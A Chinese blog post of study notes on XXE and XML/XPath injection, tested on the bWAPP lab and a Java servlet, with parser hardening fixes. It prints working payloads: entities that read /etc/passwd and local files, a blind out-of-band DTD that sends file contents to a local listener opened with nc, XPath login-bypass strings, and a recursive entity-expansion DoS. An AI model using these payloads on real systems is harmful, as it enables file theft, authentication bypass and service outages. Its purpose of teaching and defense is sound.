少年击剑更吹箫,剑气箫心一例消。这篇文章主要讲述XXE外部实体注入(XML External Entity Injection)学习笔记相关的知识,希望能为你提供帮助。
说明:这篇笔记记录了我学习XXE外部实体注入相关的知识,包括基础知识以及后面的实例,里面还掺杂了最早学习xml注入的一些笔记,可能显得有些乱。最早学习的时候是基于php语言写的BWAPP靶机做的实验学习,最近又在学习java代码审计,因此对当时的笔记进行了补充。部分笔记都来源于网络,另外结合自己的理解对java测试代码进行了补充修改,通过对代码的修复加深对XXE攻击的理解。另外强调一下,本文记录仅用于学习,提高应用程序安全性,请勿恶意使用!有不正确的地方也请大家指出修正。一、基础知识
XML /DTD的知识参见:??http://www.runoob.com/dtd/dtd-intro.html??
需要注意几个概念:
XML:可扩展标记语言,用于数据存储和传输,而html用于数据展现
DTD:文档类型定义,描述了文档的结构及其字段含义,DTD可以在XML文档内部声明,也可以在外部引用。下面是一个比较典型的示例:
<
?xml version=”1.0” ?>
<
!DOCTYPE note [
<
!ELEMENT note
(to,from,heading,body)>
<
!ELEMENT to (#PCDATA)>
<
!ELEMENT from (#PCDATA)>
<
!ELEMENT heading (#PCDATA)>
<
!ELEMENT body (#PCDATA)>
]>
<
note>
<
to>
George<
/to>
<
from>
John<
/from>
<
heading>
Reminder<
/heading>
<
body>
Don’t forget the
meeting!<
/body>
<
/note>
PCDATA:Parsed Character Data,意为被解析的字符数据。
CDATA:Character Data ,意为字符数据,解析器不进行解析的文本。当文本中包含”<
”和”&
”时,在XML中是非法的,会产生错误,因此可以使用CDATA进行修饰,格式如下:
<
![CDATA[
被解析器忽略的字符
]]>
DTD实体:用于定义引用普通文本或者特殊字符的快捷方式的一个变量,可以在内部声明,也可以外部引用。
XML参数实体:普通实体引用以&
开头,以;
结尾;参数实体定义的时候以%表示,引用也以%开头,以;
结尾。参数实体只能在DTD中定义及引用,而普通实体在XML文档中使用。如下面这一段:
<
?xml version="1.0"
encoding="UTF-8" ?>
<
!DOCTYPE a[
<
!ENTITY % dtd SYSTEM
"http://127.0.0.1:8888/evil.dtd">
%dtd;
]>
<
user>
<
username>
&
bbbb;
<
/username>
<
password>
admin<
/password>
<
/user>
evil.dtd文件内容:
<
!ENTITY % aaaa SYSTEM
"file:///e:/test.txt">
<
!ENTITY % demo "<
!ENTITY bbbb
SYSTEM http://127.0.0.1:9999/xxe?file=%aaaa;
>
">
%demo;
当用户输入的数据以xml的格式发送给服务器处理,而用户可以控制输入的数据,并且允许引用外部实体时,就有可能产生XXE注入漏洞。
二、PHP代码测试实例
(一)使用bwapp靶机进行测试
基于PHP的靶机比较多,比如DVWA、Bwapp等,网上要以自行下载。
当允许引用外部实体时,通过构造恶意内容可导致读取任意文件,下面是正常访问的截包:
获取报文后,插入恶意的内容:
<
?xml version=”1.0”
encoding=”UTF-8”?>
<
!DOCTYPE a[
<
!ENTITY b SYSTEM
“file:///etc/passwd”>
]>
将实体b带入到用户输入中,修改后的截包:
备注:上面的实验没有成功,始终报错。
修改后不报错,但是没有达到效果:看到返回bee’s secret has been reset就可以了,可以通过查看数据库,secret是否有被修改。
下面的方法也可以:
关键代码:$login 必须存在,上面是通过&
b;
去调用实体。
(二)XML/XPATH 注入漏洞,表单登录
判断漏洞类型:登录界面和采用数据库一样,只是查询数据的时候不是从数据库中查询,而是从XML文档中去查询。
根据报错信息判断为XML。
万能密码:
admin or 1=1
未知用户名:
用户名:x or 1 or 1
密码:随意
闭合XML标签:
用户名:] | //*|//*[
密码:随意,可以不填
在密码处绕过登录:
密码:1 or 1=1
(三)XML/XPATH 注入:search
genre=horror)]|//*|//*[(
通过尝试各种方式都不成功,查看源代码,这里使用了contains函数,该函数在中括号中调用:
$result =
$xml->
xpath("//hero[contains(genre, $genre)]/movie");
需要去闭合圆括号以及中括号。
genre=horror)]|//*|//*[(
或者:genre=)]|//*|//*[(
三、Java代码测试实例
这是由Jsp和Servlet构成的测试代码,代码根据B站老师讲解的内容??https://www.bilibili.com/video/BV1av411H7K4??调试而来。
前端页面为loginxml.jsp,获取用户输入的用户名密码,然后组合成为xml格式的文本,并且传输给LoginServletXml.java进行处理,该段代码使用@WebServlet(“doLoginServlet”进行注解。当用户输入用户名为admin,密码为admin时,后台返回code为1,msg为用户名,如下:
(一)
普通注入方式
我在E盘放了一个测试文件test.txt,内容为“this is a test,现在插入恶意数据读取该内容:
<
?xml version="1.0"
encoding="UTF-8" ?>
<
!DOCTYPE a[
<
!ENTITY b SYSTEM
"file:///e:/test.txt">
]>
<
user>
<
username>
&
b;
<
/username>
<
password>
admin<
/password>
<
/user>
修复方式:
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD,"");
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA,"");
修复后再次访问,可以看到未反回需要的信息,而是返回了预置的错误信息:
(二)使用CDATA处理数据
当被读取的文件存在特殊符号时,如把文件修改为:
this is a test
<
javascript >
<
?php $_POST["cmd"]>
?
>
]
再次访问时服务器报错,如下:
[Fatal Error] test.txt:5:3: XML 文档结构必须从头至尾包含在同一个实体内。
org.xml.sax.SAXParseException;
systemId:
file:///e:/test.txt;
lineNumber: 5;
columnNumber: 3;
XML 文档结构必须从头至尾包含在同一个实体内。
解决办法:
<
?xml version="1.0"
encoding="UTF-8" ?>
<
!DOCTYPE a[
<
!ENTITY % a1
"<
![CDATA[">
<
!ENTITY % b SYSTEM
"file:///e:/test.txt">
<
!ENTITY % a2 "]]>
">
<
!ENTITY % dtd SYSTEM
"http://127.0.0.1:8888/evil.dtd">
%dtd;
]>
<
user>
<
username>
&
all;
<
/username>
<
password>
admin<
/password>
<
/user>
准备一个可以通过http访问到的evil.dtd文件,该文件中的内容:
<
?xml version="1.0"
encoding="UTF-8" ?>
<
!ENTITY all "%a1;
%b;
%a2;
">
在本地启动一个httpserver,
再次访问,可以看到数据被成功读出:
(三)
XXE外带数据POC
当用户输入数据程序不进行回显时,可以尝试构造恶意代码,如下是将参数实体的返回作为HTTP请求的参数发送到HTTP服务器,然后在HTTP服务器接收请求并且显示请求的内容。
<
?xml version="1.0"
encoding="UTF-8" ?>
<
!DOCTYPE a[
<
!ENTITY % dtd SYSTEM
"http://127.0.0.1:8888/evil.dtd">
%dtd;
]>
<
user>
<
username>
&
bbbb;
<
/username>
<
password>
admin<
/password>
<
/user>
evil.dtd文件内容:
<
!ENTITY % aaaa SYSTEM
"file:///e:/test.txt">
<
!ENTITY % demo "<
!ENTITY bbbb
SYSTEM http://127.0.0.1:9999/xxe?file=%aaaa;
>
">
%demo;
将该evil.dtd文件放在http服务器中,确保目标服务器可以访问到该文件,这里我是在本地开启了HTTP服务器,监听在8888端口,使用http://127.0.0.1:8888/evil.dtd去访问即可。另外再开启一台服务器监听目标服务器发出来的请求,我这里仍然使用的是本地电脑,使用nc监听9999端口,nc -lvp 9999,然后使用burp发送报文:
监听服务器:
四、防御方法
Java修复方法补充:
DocumentBuilderFactory dbf =
DocumentBuilderFactory.newInstance();
//
修复方法一:
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD,"");
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA,"");
//
修复方法二://
dbf.setExpandEntityReferences(false);
//
try
//
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING,true);
//
catch (ParserConfigurationException
e)
//
e.printStackTrace();
//
五、XML 攻击模式
1. XML 文档结构内容注入攻击
前提:
了解XML文档结构,确认可控参数,根据XML语法 规则构造出攻击 PAYLOAD
攻击危害:
攻击者可以通过注入标签等改写目标XML文档的结构和内容,通过XML解析器解析被注入的标签,引起注入造成越权添加数据及登录绕过等危害。
方法:
对可控参数输入想要篡改的元素标签和值,查看存储的数据是否被篡改,如果有多个可控参数,尝试在第一个参数输入注释开始符<
!--,另外一个参数中插入结束-->
,查看注释处理是否生效。
原始传输的XML内容:
<
reset>
<
login>
bee<
/login>
<
secret>
sbee2<
/secret>
<
/reset>
插入POC:
bee<
/login>
<
secret>
bee1<
/scret>
<
login>
bee2>
<
/login>
插入后:
<
reset>
<
login>
bee<
/login>
<
secret>
bee1<
/scret>
<
login>
bee2>
<
/login>
<
secret>
sbee2<
/secret>
<
/reset>
2. SOAP内容注入攻击
前提:
了解XML文档结构,还需要知道SOAP的消息数据格式,确认可控参数,构造出攻击PAYLOAD。SOAP发现相对比较困难。
危害:
通过注入标签等改写目标XML文档的结构和内容,通过XML解析器解析被注入的标签,造成越权添加数据及登录等。
方法:
尝试恶意的XML闭合标签,若出错,尝试提交一对有效的起始标签,如果未出错,则可能存在注入攻击。
多个参数可以尝试输入注解。
3. XEE注入攻击
XML实体扩展注入,借助命名实体进行攻击。
危害:主要是造成DOS攻击
实施攻击的方法:
通过构造恶意递归的XML实体文档,在XML解析器解析时导致服务器可用的资源耗尽
简单示例&
结果:
<
!DOCTYPE
data [
<
!ENTITY a0 “dos”>
<
!ENTITY a1 “&
a0;
&
a0;
&
a0;
&
a0;
&
a0;
&
a0;
&
a0;
&
a0;
&
a0;
&
a0;
”>
<
!ENTITY a2 “&
a1;
&
a1;
&
a1;
&
a1;
&
a1;
&
a1;
&
a1;
&
a1;
&
a1;
&
a1;
”>
<
!ENTITY a3 “&
a2;
&
a2;
&
a2;
&
a2;
&
a2;
&
a2;
&
a2;
&
a2;
&
a2;
&
a2;
”>
<
!ENTITY a4 “&
a3;
&
a3;
&
a3;
&
a3;
&
a3;
&
a3;
&
a3;
&
a3;
&
a3;
&
a3;
”>
]>
<
data>
&
a4;
<
/data>
结果:一般造成后台CPU占用率超过100%,服务器死机重启等现象。
4. XXE注入攻击
XML外部实体注入攻击,主要是借助外部实体进行注入攻击
危害:从应用程序能够访问的任何WEB服务器上检索敏感内容,读取服务器上的资源内容。如读取服务器文件内容,远程命令执行RCE,后端端口扫描,加载一个大文件进行DOS攻击。
5. BlindXXE注入攻击
高级的XXE攻击,XML外部参数实体注入攻击,主要是借助参数实体进行注入攻击,一般XXE攻击,主要发生在外部实体引用时借助回显来读取文件内容,但是当不能回显时,就要借助于带外数据通道OOB来实现回显绕过基本的XXE攻击限制,这就是Blind XXE
【XXE外部实体注入(XML External Entity Injection)学习笔记】
推荐阅读
- 自上而下的理解网络——TCP篇
- 聊聊 JDBC 的 executeBatch || 对比下不同数据库对 JDBC batch 的实现细节
- 字节可寻址内存和字可寻址内存之间的差异
- 架构风格、架构模式和设计模式之间的区别
- Arch Linux和Kali Linux之间有什么区别()
- 批处理系统与在线处理系统有什么区别()
- 批处理操作系统和多程序操作系统之间有什么区别()
- 批处理和流处理之间有什么区别()
- Bootstrap和AngularJS之间有什么区别()